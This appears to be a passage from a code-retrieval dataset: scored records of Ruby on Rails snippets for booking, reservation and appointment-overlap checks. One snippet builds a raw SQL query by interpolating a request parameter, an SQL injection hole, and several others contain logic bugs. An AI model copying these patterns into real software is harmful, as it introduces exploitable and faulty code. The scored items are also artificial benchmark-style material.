@all_bookings = Booking.all\n\n @all_bookings.each do |booking|\n if booking.has_paid == TRUE\n start_date= booking.start_date.strftime(\"%Y-%m-%d\")\n end_date = booking.end_date.strftime(\"%Y-%m-%d\")\n if @start_date.between?(start_date, end_date) || @end_date.between?(start_date, end_date)\n if booking.item_id == @booking.item_id\n found = true\n end\n end\n end\n end\n\n if found == true\n redirect_to request.referrer, notice: \"This dress is already booked for this period.\"\n else\n @booking.save!\n redirect_to edit_item_booking_url(@item,@booking), notice: \"You have booked the dress successfully. Please contact owner to fix a time for trial or directly proceed with payment.\"\n end\n end\n\n if params[:commit] == 'Pay'\n respond_to do |format|\n if @booking.save && params[:commit] == 'Pay'\n format.html { redirect_to item_booking_url(@item,@booking), notice: 'Invoice' }\n format.json { render :show, status: :created, location: @booking }\n # f.json { render action: 'show', status: :created, location: @step }\n else\n format.html { render action: 'new' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n\n end\n end\n\n end", "title": "" }, { "docid": "41c2c4952791bfb5bc3408a09cb3330f", "score": "0.6332968", "text": "def check_conflicts_with_room(booking, room, devices, capacity, recurring_days)\n\n if devices != room.devices\n if devices != 0\n return true\n end\n end\n\n logger.info \"capacity is #{capacity.to_i} and rooms capacity is #{room.capacity}\"\n if !capacity.nil?\n\n if capacity.to_i > room.capacity\n return true\n end\n end\n\n dates = split_booking booking.startdate,recurring_days\n\n splited_bookings = Array.new\n dates.each do |date|\n tmp_booking = Booking.new\n tmp_booking.enddate = booking.enddate\n tmp_booking.starttime = booking.starttime\n tmp_booking.endtime = booking.endtime\n tmp_booking.recurring = booking.recurring\n tmp_booking.startdate = date\n splited_bookings << tmp_booking\n end\n\n bookings = Booking.find_all_by_room_id room.id\n\n\n\n bookings.each do |booking_at_room|\n\n splited_bookings.each do |splited_booking|\n if check_conflicts_with_specific splited_booking,booking_at_room\n hour_bits_1 = build_hour_bits splited_booking\n hour_bits_2 = build_hour_bits booking_at_room\n if hour_bits_1 & hour_bits_2 != 0\n return true\n end\n end\n end\n\n end\n\n return false\n\n end", "title": "" }, { "docid": "83e8cdb87856ab822273db4477a9fdfe", "score": "0.6329557", "text": "def booking(room, params)\n if @browser.element(css: '#ajaxRoomList > div.listDiv.initialized > table > tbody > tr:nth-child(' + room.to_s + ')').present?\n @browser.element(css: '#ajaxRoomList > div.listDiv.initialized > table > tbody > tr:nth-child(' + room.to_s + ')').click\n else\n @browser.element(css: '#ajaxRoomList > div:nth-child(2) > div.PageSelectorControls > div.imgNextArrow').click\n room = room.to_i - 30\n @browser.element(css: '#ajaxRoomList > div.listDiv.initialized > table > tbody > tr:nth-child(' + room.to_s + ')').click\n end\n @browser.select_list(:id, 'cboDuration').select(params[:duration].to_s)\n @browser.element(css: '#btnAnyDate').click\n BookRoom.search_day(@browser, params[:day], BookRoom.search_month(@browser, params[:month]))\n page_html = ScraperModule.parse_html(@browser)\n i = 1\n acum = 1\n while i < 29\n date = page_html.xpath('//*[@id=\"roomavailability\"]/div/div/div[2]/table/tbody/tr[' + i.to_s + ']/td[1]').text\n if page_html.at_css('#roomavailability > div > div > div.listDiv.initialized.RoomAvailabilityList.NoPadding.NoEntityType.TableLayoutAuto > table > tbody > tr:nth-child(' + i.to_s + ') > td:nth-child(2) > input')\n puts i.to_s + ') ' + date.to_s + ' >> Room is available'\n @time[i.to_s] = @browser.element(css: '#roomavailability > div > div > div.listDiv.initialized.RoomAvailabilityList.NoPadding.NoEntityType.TableLayoutAuto > table > tbody > tr:nth-child(' + i.to_s + ') > td:nth-child(2) > input')\n else\n puts i.to_s + ') ' + date.to_s + ' >> Room is unavailable'\n acum += 1\n end\n i += 1\n end\n if acum == 28\n return false\n else\n return true\n end\n end", "title": "" }, { "docid": "7091c094dc18bea5eda2cf1cd9c1565b", "score": "0.6317544", "text": "def availability_of_room\n room_type = RoomType.find(self.room_type_id) rescue nil\n errors.add(:room_type_id, \"Pleass select room type\") if room_type.blank?\n return if room_type.blank?\n total_rooms = room_type.rooms.pluck(:id)\n booked_rooms = Booking.where('(start_date >= ? and start_date <= ?) or (end_date >= ? and end_date <= ?)', self.start_date, self.end_date, self.start_date, self.end_date).pluck(:room_id)\n available_rooms = total_rooms - booked_rooms\n errors.add(:start_date, \"unavailable for given time period\") if available_rooms.count == 0\n end", "title": "" }, { "docid": "19102aa7ec67e3178e6e6a19ce2e7cfb", "score": "0.63062346", "text": "def past\n @bookings = Booking.completed(current_user)\n end", "title": "" }, { "docid": "5c6672fc57e7ce0bb45178beafc31fe8", "score": "0.6305959", "text": "def index\n @bookings = current_user.coach_bookings\n @future_bookings = @bookings.booked.where(\"start_time > ?\", Time.now).order(:start_time)\n @past_bookings = @bookings.booked.where(\"end_time < ?\", Time.now).order(start_time: :DESC)\n @booking = Booking.new\n @review = Review.new\n end", "title": "" }, { "docid": "6f75cfed3109624f014dc31038b3acf3", "score": "0.62972784", "text": "def create\n flag=0\n @@bookinfomail = Booking.new(booking_params)\n @booking = Booking.new(booking_params)\n @user=User.find(session[:user_id])\n if not @user.Admin\n # debugger\n @booking.name = User.find(session[:user_id]).email\n flag=1\n end\n #name is in fact the email of the person who books the room (By Lei Zhang)\n @booking.bookday=Time.new\n #<begin> edit by Lei Zhang\n starttime_string = booking_params[:starttime]\n if starttime_string.length == 4\n starttime_string = \"0\" + starttime_string\n end\n endtime_string = booking_params[:endtime]\n if endtime_string.length == 4\n endtime_string = \"0\" + endtime_string\n end\n \n @booking.endtime = Time.parse(\"%04d-%02d-%02d %s:00\" %[booking_params[\"date(1i)\"], booking_params[\"date(2i)\"], booking_params[\"date(3i)\"], endtime_string])\n @booking.starttime = Time.parse(\"%04d-%02d-%02d %s:00\" %[booking_params[\"date(1i)\"], booking_params[\"date(2i)\"], booking_params[\"date(3i)\"], starttime_string])\n #debugger\n #<end> edited by Lei Zhang\n #--------------\n @bookingrecord=Booking.where(\"room_id= ? and date = ?\",booking_params[:room_id],@booking.date)\n @record=Booking.where(\"name=? and date = ?\", @booking.name,@booking.date)\n #-------------\n #<begin> edited by Lei Zhang\n #debugger\n duration = @booking.endtime - @booking.starttime\n if ((duration/1800 > 4) || (duration<=0))\n flash[:danger] = \"Cannot book for more that 2 hours or less than 0 hours\"\n redirect_to bookings_path\n elsif not (timeconstrain(@bookingrecord,@booking))\n flash[:danger] = \"The room is booked during that period. Try another room or another time\"\n redirect_to bookings_path\n elsif (@booking.starttime <= Time.new) ||((Time.parse(@booking.date.strftime('%Y-%m-%d'))-Time.parse(Time.new.strftime('%Y-%m-%d'))).round/(3600*24)>7)\n flash[:danger] = \"The time period is not correct\"\n redirect_to bookings_path\n elsif (flag==1)&&( not (bookroom_constrain(@record,@booking.starttime,@booking.endtime)))\n flash[:danger] = \"A library member can reserve only one room at a particular date and time\"\n redirect_to bookings_path\n else\n # respond_to do |format|\n # if @booking.save\n # format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n # format.json { render :show, status: :created, location: @booking }\n # else\n # format.html { render :new }\n # format.json { render json: @booking.errors, status: :unprocessable_entity }\n # end\n # end\n if @booking.save\n #debugger\n flash[:success] = \"Room successfully booked\"\n # redirect_to bookings_path\n # redirect_to bookings_path\n redirect_to send_mail_path\n else\n flash[:danger] = \"Cannot book room now. Please try again later\"\n redirect_to bookings_path\n end\n end\n end", "title": "" }, { "docid": "48dcb366ee13f3cfad1fa82d957df991", "score": "0.62822014", "text": "def doctor_double_booked\n this_start = self.start_time\n this_end = self.end_time\n conflict = doctor.appointments.any? do |appointment|\n other_start = appointment.start_time \n other_end = appointment.end_time\n other_start < this_end && this_end < other_end || other_start < this_start && this_start < other_end\n end\n if conflict\n errors.add(:doctor, 'has a conflicting appointment')\n end\n end", "title": "" }, { "docid": "f3aa49344591275a1854be4a91e892ba", "score": "0.627274", "text": "def seat_availability(bus,bus_start_date)\n \n Booking.where(start_date: bus_start_date, bus_id: bus.id).count < bus.capacity # seat capacity.\n \n end", "title": "" }, { "docid": "1cc5686e864b844b08ce82489af518a7", "score": "0.6235978", "text": "def create\n @booking = Booking.new(booking_params)\n package_type = Member.find(params[:booking][:member_id]).OwnerPackageID\n @booking.package_type = package_type\n\n booking_count = 0\n package_quata = 0\n unless params[:booking][:start_datetime].blank?\n start_time = Time.parse(params[:booking][:start_datetime])#.to_s(:time)\n end_time = Time.parse(params[:booking][:end_datetime])#.to_s(:time)\n\n\n #booking_count = Booking.where(\"package_type=? AND cast(start_datetime as text) LIKE ?\", package_type, '%'+start_time+'%').count\n booking_count = Booking.where(\"end_datetime >= ? OR start_datetime <= ?\", start_time, end_time).count\n package_quata = Member.find(params[:booking][:member_id]).OwnerPackageQuata\n\n end\n\n respond_to do |format|\n if booking_count >= package_quata\n format.html { redirect_to new_booking_path(msg: 1, booking_count: booking_count, package_quata: package_quata) } #booking more than quata\n elsif @booking.save\n format.html { redirect_to bookings_path, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0ba73a2d3cf264fe002f73683137bdc", "score": "0.6231644", "text": "def show\n Time.use_zone(@meetingroom.location.timezone) do\n @bookings = @meetingroom.bookings.where(\"ending >= ?\", Time.now.in_time_zone(@meetingroom.location.timezone)).order(\"starting asc\").all\n end\n end", "title": "" }, { "docid": "821eceacfb54efabf7a93f4f4a892603", "score": "0.621936", "text": "def bookings_requested\n # select * from bookings where patient_id = current_user.id\n @bookings_requested = current_user.bookings\n end", "title": "" }, { "docid": "fa0db09b8b7c00d66496eb6be325c1de", "score": "0.61906177", "text": "def room_availability_check\n if hotel_room.present? && !hotel_room.available?(check_in, check_out)\n errors.add(:hotel_room, \"is not available right now and booked already\")\n end\n end", "title": "" }, { "docid": "1a65e502c537cb323bcdeea4c0429635", "score": "0.6170563", "text": "def create\n @tool = Tool.friendly.find(params[:tool_id])\n @booking = @tool.bookings.build(booking_params)\n if @booking.save\n cont = 0 #this variable and the following loop have the same purpose that in 'avaiable' method\n @tool.bookings.where('end_date >= ? AND confirmed = ? AND lab_id = ?', Time.now, true, @booking.lab_id).each do |b| # for simplify the procedure, the system check only reservations that are already confirmed\n if (@booking.start_date..@booking.end_date).overlaps?(b.start_date..b.end_date)\n cont = cont + b.quantity\n end\n end\n cont = cont + @booking.quantity\n quantity_tool = @tool.labs_tools.where(\"lab_id = ?\", @booking.lab_id).first.quantity\n if cont > quantity_tool\n max = quantity_tool - cont + @booking.quantity\n if max == 1\n flash[:danger]=\"#{t('.looking')} #{max} #{t('bookings.avaiable.tool')}\"\n else\n flash[:danger]=\"#{t('.lookings')} #{max} #{t('bookings.avaiable.tools')}\"\n end\n @booking.destroy\n redirect_to tool_path(@tool)\n else #if the booking are not in conflict with other confirmated resarvations, the system create a new booking entity\n\n BookingControlJob.set(wait_until: @booking.start_date.to_datetime).perform_later(@booking) #if the booking are not confirmed before the start date, is unuseful store it in the database\n if @tool.fast_booking == true\n flash[:success]=t('.fast_booking_true')\n @booking.confirmed = true\n @booking.save\n LabMailer.new_booking(@booking).deliver_now #this email notify at the prof that his booking was confirmed\n ProfMailer.confirmed_booking(@booking.prof, @booking).deliver_later\n else\n flash[:success]=t('.fast_booking_false')\n AdminMailer.with(booking: @booking, prof: @booking.prof).new_booking.deliver_later #this email notify at the admin that a new booking was created\n end\n redirect_to tool_path(@tool)\n end\n else\n flash[:danger] = @booking.errors.full_messages\n redirect_to tool_path(@tool)\n end\n end", "title": "" }, { "docid": "8a4f0f436827c7ca5f904f1af4cb7316", "score": "0.6168626", "text": "def booked_room\n start_date = Date.parse(params[:start_date])\n end_date = Date.parse(params[:end_date])\n (start_date..end_date).each do |date|\n booked_room = BookingStatus.new(\n start_date: date,\n user_id: current_user.id,\n room_id: params[:room_id]\n )\n\n booked_room.save\n end\n end", "title": "" }, { "docid": "38667bd633f0c2ed79fe71e214bb0c67", "score": "0.61370265", "text": "def is_available_between(start_date, end_date)\n number_of_booking = self.bookings.where('(? <= bookings.start_date AND bookings.start_date <= ?)\n OR (? <= bookings.end_date AND bookings.end_date <= ?)\n OR (bookings.start_date <= ? AND ? <= bookings.end_date)\n OR (bookings.start_date <= ? AND ? <= bookings.end_date)',\n start_date, end_date, start_date, end_date, start_date, start_date, end_date, end_date).count\n\n return number_of_booking <= 0\n end", "title": "" }, { "docid": "d7f89fb6c092dc54f24e0ffc75ab864a", "score": "0.61276853", "text": "def account_used\n\n\t\tif Booking.where(location_id: Location.where(company_id: self.id).pluck(:id)).where('created_at > ?', DateTime.now - 1.weeks).count > 0\n\t\t\treturn true\n\t\tend\n\n\t\treturn false\n\n\tend", "title": "" }, { "docid": "685c892f04452f83f5f08a4028e9d9ed", "score": "0.60961026", "text": "def booking_get_times\n #Check_Entry does basic validations and ensures if large booking that not too many existing bookings exist\n check_entry = Booking.check_entry_params(params[:booking])\n #Rails.logger.debug(\"xxxxx_what is returned check_entry : #{check_entry.inspect}\")\n \n if check_entry.blank? || check_entry == true\n hashhere = Booking.get_available_space((params[:booking][:booking_date].to_datetime), (params[:booking][:number_of_diners].to_i))\n \n if hashhere.blank?\n redirect_to static_pages_new_booking_enquiry_path, :flash => { :warning => (Error.get_msg(\"999999108\")) }\n else\n session[:available_times] = hashhere\n session[:restaurant_id] = Restaurant.all.first.id\n session[:booking_date] = (params[:booking][:booking_date].to_datetime)\n session[:number_of_diners] = (params[:booking][:number_of_diners].to_i)\n redirect_to static_pages_booking_advanced_path #, :flash => { :success => \"Please select from available times.\" }\n end\n else\n redirect_to static_pages_new_booking_enquiry_path, :flash => { :warning => check_entry }\n end\n end", "title": "" }, { "docid": "3a059ef59037b5e27ee5766628840ef0", "score": "0.60948104", "text": "def has_spaces_available(gym_class)\n sql = \"SELECT COUNT(id) FROM bookings WHERE gym_class_id = $1\"\n values = [@gym_class_id]\n result = SqlRunner.run(sql, values).first\n return result['count'].to_i < gym_class.capacity\n # if result['count'].to_i < gym_class.capacity\n # return true\n # else\n # return false\n # end\n end", "title": "" }, { "docid": "3da27a10773edea2ba2399f86915ff2d", "score": "0.6091593", "text": "def has_bookings_at_period(checkin_date, checkout_date)\n # convert to date if string\n checkin_date = Date.parse(checkin_date) if checkin_date.is_a? String\n checkout_date = Date.parse(checkout_date) if checkout_date.is_a? String\n # if no consistency in period\n return true if checkout_date < checkout_date\n # prevent charging dataset for more than 100 days long\n return true if (checkout_date-checkin_date) >= 100\n # raise error ?\n self.bookings.each do |booking|\n (booking.checkin..booking.checkout).each do |d|\n # booking for this outfit at these dates\n return true if (checkin_date..checkout_date).include? d\n end\n end\n # no booking at this date\n return false\n end", "title": "" }, { "docid": "6625370da327fd1ee0f46a5c72cf7462", "score": "0.60647726", "text": "def add_bookings!(bookings, user, date)\n grid.unfilled.each do |empty|\n grid.fill(empty.slot.from, empty.slot.court_id, select_booking(bookings, user, date, empty.slot))\n end\n end", "title": "" }, { "docid": "06f756cd1b3e1827566c44a6836a7620", "score": "0.6059523", "text": "def create_alt\n @parking_space = ParkingSpace.find(params[:id])\n if check_overlap\n redirect_to booking_fail_path\n return\n end\n @parking_space.booking.create(booking_params)\n redirect_to root_path\n end", "title": "" }, { "docid": "ad8dc93b8074c362fd17da9a2dbc00df", "score": "0.605341", "text": "def room_index\n @bookings = @room.bookings.where.not('is_canceled').order(start_date: :asc)\n end", "title": "" }, { "docid": "bb43a5d9d6ba38157759e1202ef5c403", "score": "0.6044892", "text": "def check_overlap\n appointments = Appointment.all\n current_start = DateTime.strptime(self.start_time,\"%m/%d/%y %H:%M\").to_time\n current_end = DateTime.strptime(self.end_time,\"%m/%d/%y %H:%M\").to_time\n\n appointments.each do |appt|\n appt_start = DateTime.strptime(appt.start_time,\"%m/%d/%y %H:%M\").to_time\n appt_end = DateTime.strptime(appt.end_time,\"%m/%d/%y %H:%M\").to_time\n\n ## if the appointment being checked is a new appointment ##\n if @new_appt\n if current_start >= appt_start && current_start <= appt_end\n @valid = false\n elsif current_end >= appt_start && current_end <= appt_end\n @valid = false\n end\n\n ## if the appointment being checked is an old appointment being updated ##\n else\n if current_start > appt_start && current_start < appt_end\n @valid = false\n elsif current_end > appt_start && current_end < appt_end\n @valid = false\n end\n end\n\n end\n @valid\n p @valid\n end", "title": "" }, { "docid": "c060af7a822c0bf84c978b05f2406a63", "score": "0.6030006", "text": "def tutor_double_booked\n lesson_start = self.start_time\n lesson_end = self.end_time\n overlap = tutor.appointments.any? do |appointment|\n check_start = appointment.start_time\n check_end = appointment.end_time\n check_start < lesson_end && lesson_end < check_end || check_start < lesson_start && lesson_start < check_end\n end\n if overlap\n errors.add(:tutor, 'there is a conflictiong appointment')\n end\n end", "title": "" }, { "docid": "6e0bb22b8243f67d172bf54a8f7d65ae", "score": "0.60206264", "text": "def create\n @booking = Booking.new(booking_params)\n @tour = Tour.find(booking_params[:tour_id])\n @booking_waitlisted = Booking.new(booking_params)\n if (@tour.seats.to_i >= booking_params[:seats_booked].to_i)\n seats = @tour.seats.to_i - booking_params[:seats_booked].to_i\n @tour.seats = seats\n @tour.save\n @booking.status = 1\n else\n if (booking_params[:preference] == \"Book available seats\" && @tour.seats.to_i > 0)\n @booking.seats_booked = @tour.seats\n seats = 0\n @tour.seats = seats\n @tour.save\n @booking.status = 1\n elsif (booking_params[:preference] == \"Book Available seats and add remaining to waitlist\")\n @booking.seats_booked = @tour.seats\n @tour.seats = 0\n @tour.save\n @booking.status = 1\n\n # to handle waitlist seats\n @booking_waitlisted.seats_booked = @booking_waitlisted.seats_booked - @booking.seats_booked\n @booking_waitlisted.status = 0\n @booking_waitlisted.save\n elsif (booking_params[:preference] == \"Book only if all seats are available\")\n @booking.status = 0\n end\n end\n respond_to do |format|\n if @booking.save\n format.html { redirect_to bookings_url, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "289bd4c98c7b85e732afd8a9a7157467", "score": "0.60167444", "text": "def check_availibility(potential_booking)\n answer = self.bookings.none? { |booking| overlaps?(potential_booking, booking) }\n puts \"#{answer} #{self.site_name}\"\n return answer\n end", "title": "" }, { "docid": "1239c22fc33568a2518ff7333b1faade", "score": "0.601181", "text": "def book(start_time, end_time)\n @bookings[start_time] += 1\n @bookings[end_time] -= 1\n temp = 0\n @bookings.keys.sort.each do |key|\n temp += @bookings[key]\n @overlap = temp if temp > @overlap\n end\n\n @overlap\n end", "title": "" }, { "docid": "082eb7cd3ed93f29973ce9a0401bb335", "score": "0.59914094", "text": "def find_booked(date)\n rooms_booked = []\n @reservations.each do |reservation|\n if reservation.reservation_date_range.start_date == date.start_date && reservation.reservation_date_range.end_date == date.end_date\n rooms_booked << reservation\n end\n end\n return rooms_booked\n end", "title": "" }, { "docid": "fc54652bdf6e1cdfadabb135cc107e56", "score": "0.59864336", "text": "def checkRoomAvailibilty(date, time, scheduleTable)\n j=0\n while j < scheduleTable.size\n if date == scheduleTable[j][\"Date\"] && time == scheduleTable[j][\"Time\"] && self.building == scheduleTable[j][\"Building\"] && self.roomNum == scheduleTable[j][\"Room\"] && \"true\" == scheduleTable[j][\"Available\"]\n return true\n else\n j+=1\n end\n end\n return false\n end", "title": "" }, { "docid": "cfdc2c4e6ffa87f53bd6519a8368ad78", "score": "0.59747237", "text": "def existing_reservations?\n !existing_reservations.empty?\n end", "title": "" }, { "docid": "c140a981953c39afa9f2012e64aafd65", "score": "0.59701955", "text": "def create\n\t\tbooking = Booking.new(booking_params)\n\n\t if booking.save\n\t \tPeekBooker.use_a_boat(booking.size, booking.timeslot_id)\n\t \tPeekBooker.delete_overlap_assignments(booking.timeslot_id)\n\t \tPeekBooker.upd_availability(booking.timeslot_id)\n\t \t\n\t \trender json: booking, status: 201\n\t end\n\tend", "title": "" }, { "docid": "2159617e36da611fb8a9d1e30f0a734a", "score": "0.5967156", "text": "def set_bookings\n @bookings = Campground.find(params[:campground_id]).bookings\n end", "title": "" }, { "docid": "668432f20d1cc732f62aa2c49679f355", "score": "0.59630156", "text": "def available\n self.listing.reservations.each do |r|\n if self.checkin.nil? || !(r.checkin && r.checkin < self.checkin)\n errors.add(:checkin, \"checkin and checkout unavailable\")\n # elsif (r.checkin && r.checkin < self.checkin) == false\n # errors.add(:checkin, \"checkin and checkout unavailable\")\n end\n end\n end", "title": "" }, { "docid": "4ff324bc5e84d2fbad9f8d05e3e57fa2", "score": "0.5960567", "text": "def bookings()\n sql = \"SELECT bookings.*\n FROM bookings\n WHERE bookings.schedule_id = $1\"\n values = [@id]\n result = SqlRunner.run(sql,values)\n bookings = Booking.map_items(result)\n return bookings\n end", "title": "" }, { "docid": "dd7a3f01cb9e65ebdf8b44fa5311f5f5", "score": "0.59500605", "text": "def check_book_availability\n if self.book.book_copies.unassigned_copies.where(is_active: true).count < 1\n errors.add(:base, \"Book out of stock\")\n end\n end", "title": "" }, { "docid": "7b2fe6cbed3df1ca2c7e0b0757446955", "score": "0.5921136", "text": "def booking_complete\r\n\tend", "title": "" }, { "docid": "b45fe51130348f7783a4d669ed931da5", "score": "0.590883", "text": "def doctor_double_booked #We check this against all of the doctors appointments \n this_start = self.start_time #Instance methods that are called on a particular doctor's appointment \n this_end = self.end_time \n conflict = doctor.appointments.any? do |appointment| \n #Look through all of the doctors appointments and checks if there are any overlapping appointments (start_time, end_time). \n #any? returns true or false. \n \n other_start = appointment.start_time \n other_end = appointment.end_time\n other_start < this_end && this_end < other_end || other_start < this_start && this_start < other_end\n # other_start < this_end && this_end < other_end \n #This means that this appointment ends in the middle of an existing appointment.\n \n # other_start < this_start && this_start < other_end \n #This means that this appointment starts in the middle of an existing appointment. \n end\n if conflict #true or false \n errors.add(:doctor, 'has a conflicting appointment') \n # Adds an error message to the appointment with an error message about the doctor. The doctor is the key, the message is the value. \n end\n end", "title": "" }, { "docid": "6abb7fec71f8c92d5fef39fa2a2db194", "score": "0.5904271", "text": "def booking_is_available?(user, service, order_time)\n order_time > Time.new + 6.hours and user.id != service.user_id\n end", "title": "" }, { "docid": "3aa79aabcde758c6f45ecec3150b2939", "score": "0.59022343", "text": "def is_open?\n bookings.completed.empty?\n end", "title": "" }, { "docid": "afe367ecefdff11021580be7e6e4bc0e", "score": "0.5896143", "text": "def is_slot_already_passed?\n\t\tunless self.date_of_booking != Time.zone.now.beginning_of_day \n\t\t\tunless self.resource.next_time_slots.include?(self.resource.timeslots[self.slot])\n\t\t\t\tself.errors[:slot_avaibility] << \"=> This slot is already passed\"\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "047b4316ff9b949b5148cf421fcd5fee", "score": "0.5894335", "text": "def overlap(existing_reservations)\n booked_rooms = []\n existing_reservations.each do |reservation|\n if @check_out >= reservation.check_in && @check_out < reservation.check_out ||\n @check_in >= reservation.check_in && @check_in < reservation.check_out ||\n @check_in > reservation.check_in && @check_out < reservation.check_out\n if reservation.class == BookingSystem::Block\n reservation.avail_block_rooms.map { |block_room_num| booked_rooms << block_room_num }\n else\n booked_rooms << reservation.room_num\n end\n end\n end\n return booked_rooms\n end", "title": "" }, { "docid": "f27b10cc104af90bc92ac735b5a13441", "score": "0.5890395", "text": "def availability\n # retrieve the book object\n @book = Book.friendly.find(params[:id])\n BookMailer.availability(book: @book, user: current_user).deliver_later unless @book.last_loan.nil?\n # redirect to book show page with a success message\n redirect_to store_show_path, notice: 'An email has been sent to you about the current state of this book'\n end", "title": "" }, { "docid": "7a7b638184dd69c3e339af2a54266c38", "score": "0.58880234", "text": "def create\n # puts params\n @booking = Booking.new(booking_params)\n respond_to do |format|\n if Booking.validate(booking_params) and Booking.time_checking(@booking) and @booking.save\n # if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.'}\n format.json { render :index, status: :created, location: @booking }\n else\n # @listing_id = @booking.listing_id\n format.html { redirect_to bookings_new_path(:listing_id => @booking.listing_id)}\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n flash[:notice] = \"The date is invalid or is booked.\"\n end\n end\n end", "title": "" }, { "docid": "00b296786e7636bbbf0da61f286702b8", "score": "0.5887635", "text": "def return(book_title)\n @borrowed_books.delete(book_title.to_sym)\n @time_table.delete(book_title.to_sym)\n\n time = Time.now\n\n if time_table == {}\n @overdue = false\n else\n time_table.each_value { |due_date|\n if time >= due_date\n @overdue = true\n end\n }\n end\n end", "title": "" }, { "docid": "87ac0595585fc59511c5349803b87ecc", "score": "0.5866783", "text": "def available_for?(reservation)\n return false if staff_only? && !reservation.staff? # TODO handle staff reservations properly\n return false unless ready_for_checkout?\n return false if reservation.start_date.blank? || reservation.end_date.blank?\n if reservation.staff?\n reservation_start_date_with_buffer = reservation.start_date + 1.second\n reservation_end_date = reservation.end_date - 1.second\n else\n reservation_start_date_with_buffer = reservation.start_date - 1.day - (category.buffer_days_between_checkouts.to_i * 1.day)\n reservation_end_date = reservation.end_date\n end\n conditions = [['(start_date <= :start_date AND end_date >= :end_date)'],\n ['(start_date <= :end_date AND end_date >= :end_date)'],\n ['(start_date <= :start_date AND end_date >= :end_date)'],\n ['(start_date >= :start_date AND end_date <= :end_date)'],\n ['(start_date >= :start_date AND start_date <= :end_date)'],\n \t\t['(end_date >= :start_date AND end_date <= :end_date)']]\n reservations.find(:all, :conditions => [\"submitted = true\n AND equipment_reservation_id != #{reservation.id} \n AND (#{conditions.join(\" OR \")})\", \n { :start_date => reservation_start_date_with_buffer, :end_date => reservation_end_date }]).empty?\n end", "title": "" }, { "docid": "f967eb49c1111dfd8fa15cf145ce7b60", "score": "0.58642423", "text": "def availability(room_number, end_date, start_date)\n\n @reservations.each do |reservation|\n\n # i am trying to look throught all the reservation instances and\n # see what dates are available to reserve a reservation.\n\n if room_number == reservation.room_number && reservation.does_overlap(end_date,start_date)\n\n # if reservation.start_date == start_date && reservation.end_date == end_date\n # return false\n # elsif reservation.start_date > start_date && reservation.start_date < end_date\n # next #true\n # elsif reservation.start_date < start_date && reservation.start_date < end_date\n # next #true\n # elsif reservation.start_date > start_date && reservation.start_date > end_date\n # next #false , i think i need only\n # else\n # end\n\n\n\n\n\n end\n\n end\nend", "title": "" }, { "docid": "d455d41cf95f3701211c3fa6e7e4a84c", "score": "0.5860652", "text": "def booked_in\n message = I18n.t('notify.booking.booked_in', course_name: booking.course.name, booker: booking.booker.name)\n BookingMailer.delay.booking_confirmation_to_non_chalkler(booking)\n Chalkler.invite!({email: booking.pseudo_chalkler_email, name: booking.name}, booking.booker) if booking.invite_chalkler\n end", "title": "" }, { "docid": "5c2f5ab26867e621e8536b5dbbf451aa", "score": "0.5857556", "text": "def is_booking_possible?(member, tour)\n return false unless tour.current_bookings.to_i < tour.max_capacity\n return false unless tour.difficulty <= member.ability\n return false if member.tours.include?(tour)\n return true\n end", "title": "" }, { "docid": "efe34e93937ac317d6c26bd80681ddf3", "score": "0.5836365", "text": "def has_appointment?(date, time)\n datetime = Temporal.generate_datetime(date, time)\n\n !is_available?(datetime, 20) #the time is broken up into 20 minute blocks\n end", "title": "" }, { "docid": "70e2b8c3d345891e1545fd51aadb1dab", "score": "0.58362925", "text": "def any_requested_booking_completed?\n count = 0\n index\n @requested_bookings.each { |booking| count += 1 if booking.completed }\n true if count.positive?\n end", "title": "" }, { "docid": "6fc3518d9311dd2bc8d05cf0d293e313", "score": "0.5835593", "text": "def overlapping_reservations\n\t\t# =? prevents sql injection\n\t\treservations = Reservation.where(\"listing_id =?\", self.listing_id)\n\n\t\tif reservations.count > 0\n\t\t\treservations.each do |r|\n\t\t\t\tif overlaps?(r)\n\t\t\t\t\treturn errors.add(:unavailable, \"dates!\")\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "c9c62d0ef9d7af59749b4cd31319ab04", "score": "0.5832851", "text": "def available_books\n @books.each do |book|\n if book.status != \"checked out\"\n puts \"'#{book.title}' is currently available\"\n end\n end\n end", "title": "" }, { "docid": "5ebd801752883c8ddd9a5ed2dab229e3", "score": "0.58310133", "text": "def set_booking\n query = \"SELECT * FROM Booking WHERE bookingId = #{params[:id]}\"\n @booking = Booking.find_by_sql(query).first\n end", "title": "" }, { "docid": "8e4d802b147c485b8dbe1017bc223996", "score": "0.5828302", "text": "def booking_history\n @bookings = Booking.where(:user_id => current_user.id).paginate(:page => params[:page], :per_page => 10)\n\tend", "title": "" }, { "docid": "39502b1b5b98a242da4c164022ccc975", "score": "0.5820613", "text": "def register_booking\n return unless booked_at\n\n self.booked_at = ClockIn.new.recorded_as booked_time: booked_at.to_date,\n add_time: true\n credits.register_booking(self)\n end", "title": "" }, { "docid": "9e8ac505fa34397cfcdec3917cb1c3f4", "score": "0.5818342", "text": "def create\n @booking = Booking.new(booking_params)\n\n # metodo para verificar se possui reserva para aquele período\n def reserva\n @livre = true\n @reservas = Booking.all.where(:book_id => @booking.book_id)\n\n @reservas.each do |reserva|\n\n if( reserva.bookingStartDate <= @booking.bookingStartDate && @booking.bookingStartDate <= reserva.bnookigEndDate)\n @livre = false\n break\n end\n\n if( reserva.bookingStartDate <= @booking.bnookigEndDate && @booking.bnookigEndDate <= reserva.bnookigEndDate)\n @livre = false\n break\n end\n\n if( reserva.bookingStartDate >= @booking.bookingStartDate && reserva.bnookigEndDate <= @booking.bnookigEndDate )\n @livre = false\n break\n end\n\n end\n return @livre\n end\n #fim do método\n\n # metodo para verificar se possui empréstimo para aquele período\n def emprestimo\n @livre = true\n @emprestimos = Loan.all.where(:book_id => @booking.book_id)\n\n @emprestimos.each do |emprestimo|\n\n if( emprestimo.loanDate <= @booking.bookingStartDate && @booking.bookingStartDate <= emprestimo.returnDate)\n @livre = false\n break\n end\n\n if( emprestimo.loanDate <= 